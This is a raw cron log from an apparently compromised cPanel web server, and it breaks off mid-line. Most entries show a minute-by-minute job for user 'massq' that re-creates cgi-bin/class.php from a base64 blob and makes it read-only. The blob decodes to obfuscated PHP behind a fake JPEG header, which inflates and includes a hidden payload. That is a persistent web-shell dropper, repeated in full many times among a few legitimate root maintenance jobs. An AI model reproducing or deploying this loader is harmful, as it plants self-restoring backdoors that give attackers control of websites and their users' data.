Nov  9 07:36:01 server CROND[11267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:37:01 server CROND[12170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:38:01 server CROND[12980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:39:01 server CROND[13314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:39:01 server CROND[13315]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:40:01 server CROND[14134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:40:01 server CROND[14136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:40:01 server CROND[14137]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:40:01 server CROND[14138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 07:41:01 server CROND[15016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:42:01 server CROND[15723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:42:01 server CROND[15724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:43:01 server CROND[16638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:44:01 server CROND[17448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:45:01 server CROND[18296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:45:01 server CROND[18297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:45:01 server CROND[18299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:46:01 server CROND[18948]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:47:01 server CROND[19546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:48:01 server CROND[20362]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:49:01 server CROND[21291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 